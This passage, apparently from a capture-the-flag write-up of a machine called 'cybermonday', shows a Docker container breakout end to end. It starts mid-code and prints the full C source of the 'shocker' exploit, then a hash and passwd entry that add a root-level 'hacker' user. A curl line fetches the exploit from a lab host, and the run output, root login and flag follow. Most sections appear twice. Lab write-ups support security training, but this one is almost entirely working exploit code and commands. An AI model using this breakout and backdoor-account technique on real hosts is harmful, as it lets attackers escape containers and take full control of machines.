    if (i < h -> handle_bytes - 1)
      fprintf(stderr, ", ");
  }
  fprintf(stderr, "};\n");
} 
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, "[*] Resolving '%s'\n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, "[*] Found %s\n", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr, "[!] Got a final handle!\n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!\n");
  close(fd2);
  close(fd1);
  return 0;
}
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr, "0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, "\n");
    if (i < h -> handle_bytes - 1)
      fprintf(stderr, ", ");
  }
  fprintf(stderr, "};\n");
} 
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, "[*] Resolving '%s'\n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, "[*] Found %s\n", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr, "[!] Got a final handle!\n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!\n");
  close(fd2);
  close(fd1);
  return 0;
}

CREATE A FULL PRIV USER

lucas@parrot  ~/machines/cybermonday/exploit  openssl passwd -1 -salt hacker hacker 
$1$hacker$TzyKlv0/R/c28R.GAeLw.1
lucas@parrot  ~/machines/cybermonday/exploit  openssl passwd -1 -salt hacker hacker 
$1$hacker$TzyKlv0/R/c28R.GAeLw.1

ADD IT WITH THE CORRECT STRUCTURE TO THE PASSWD OF THE HOST MACHINE

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

then with the 2 files, i transfer them to the docker box, compiled the program and overwrite the passwd

root@336e0c109bb8:/tmp# curl 10.10.14.15/write.c -o write.c
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3808  100  3808    0     0  23000      0 --:--:-- --:--:-- --:--:-- 23078
root@336e0c109bb8:/tmp# gcc write.c -o write
write.c: In function 'find_handle':
write.c:56:13: warning: implicit declaration of function 'open_by_handle_at' [-Wimplicit-function-declaration]
   56 |   if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
      |             ^~~~~~~~~~~~~~~~~
root@336e0c109bb8:/tmp# ls
cgrp  ex  ex.c  linpeas.sh  passwd  shadow  shell  write  write.c
root@336e0c109bb8:/tmp# ./write /etc/passwd passwd
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]

<enter>

[*] Resolving 'etc/passwd'
[*] Found lib
[*] Found boot
[*] Found libx32
[*] Found bin
[*] Found vmlinuz.old
[*] Found initrd.img
[*] Found ..
[*] Found root
[*] Found sys
[*] Found lib64
[*] Found proc
[*] Found .
[*] Found dev
[*] Found lost+found
[*] Found initrd.img.old
[*] Found etc
[+] Match: etc ino=129793
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0xfb, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'passwd'
[*] Found X11
[*] Found tmpfiles.d
[*] Found mailcap.order
[*] Found python3
[*] Found bash_completion
[*] Found cron.d
[*] Found ld.so.cache
[*] Found cron.hourly
[*] Found dhcp
[*] Found docker
[*] Found sudo.conf
[*] Found manpath.config
[*] Found pam.d
[*] Found motd
[*] Found network
[*] Found networks
[*] Found ld.so.conf.d
[*] Found discover-modprobe.conf
[*] Found cron.daily
[*] Found initramfs-tools
[*] Found subuid
[*] Found audit
[*] Found rc1.d
[*] Found debconf.conf
[*] Found grub.d
[*] Found security
[*] Found rcS.d
[*] Found rsyslog.d
[*] Found python3.9
[*] Found reportbug.conf
[*] Found passwd-
[*] Found ..
[*] Found locale.gen
[*] Found dictionaries-common
[*] Found modprobe.d
[*] Found rc3.d
[*] Found kernel-img.conf
[*] Found ssh
[*] Found passwd
[+] Match: passwd ino=132306
[*] Brute forcing remaining 32bit. This can take a while...
[*] (passwd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
Success!!

root@336e0c109bb8:/tmp# curl 10.10.14.15/write.c -o write.c
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3808  100  3808    0     0  23000      0 --:--:-- --:--:-- --:--:-- 23078
root@336e0c109bb8:/tmp# gcc write.c -o write
write.c: In function 'find_handle':
write.c:56:13: warning: implicit declaration of function 'open_by_handle_at' [-Wimplicit-function-declaration]
   56 |   if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
      |             ^~~~~~~~~~~~~~~~~
root@336e0c109bb8:/tmp# ls
cgrp  ex  ex.c  linpeas.sh  passwd  shadow  shell  write  write.c
root@336e0c109bb8:/tmp# ./write /etc/passwd passwd
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]

<enter>

[*] Resolving 'etc/passwd'
[*] Found lib
[*] Found boot
[*] Found libx32
[*] Found bin
[*] Found vmlinuz.old
[*] Found initrd.img
[*] Found ..
[*] Found root
[*] Found sys
[*] Found lib64
[*] Found proc
[*] Found .
[*] Found dev
[*] Found lost+found
[*] Found initrd.img.old
[*] Found etc
[+] Match: etc ino=129793
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0xfb, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'passwd'
[*] Found X11
[*] Found tmpfiles.d
[*] Found mailcap.order
[*] Found python3
[*] Found bash_completion
[*] Found cron.d
[*] Found ld.so.cache
[*] Found cron.hourly
[*] Found dhcp
[*] Found docker
[*] Found sudo.conf
[*] Found manpath.config
[*] Found pam.d
[*] Found motd
[*] Found network
[*] Found networks
[*] Found ld.so.conf.d
[*] Found discover-modprobe.conf
[*] Found cron.daily
[*] Found initramfs-tools
[*] Found subuid
[*] Found audit
[*] Found rc1.d
[*] Found debconf.conf
[*] Found grub.d
[*] Found security
[*] Found rcS.d
[*] Found rsyslog.d
[*] Found python3.9
[*] Found reportbug.conf
[*] Found passwd-
[*] Found ..
[*] Found locale.gen
[*] Found dictionaries-common
[*] Found modprobe.d
[*] Found rc3.d
[*] Found kernel-img.conf
[*] Found ssh
[*] Found passwd
[+] Match: passwd ino=132306
[*] Brute forcing remaining 32bit. This can take a while...
[*] (passwd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
Success!!

and then if i checked the passwd of the host box i could see my user, and i could su as him and since it has all priv, i could grab the root.txt

ROOT.TXT

john@cybermonday:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
john@cybermonday:~$ su hacker
Password:
root@cybermonday:/home/john# cat /root/root.txt
47a907fdeb1d2579dc248dae5210cae3
john@cybermonday:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
john@cybermonday:~$ su hacker
Password:
root@cybermonday:/home/john# cat /root/root.txt
47a907fdeb1d2579dc248dae5210cae3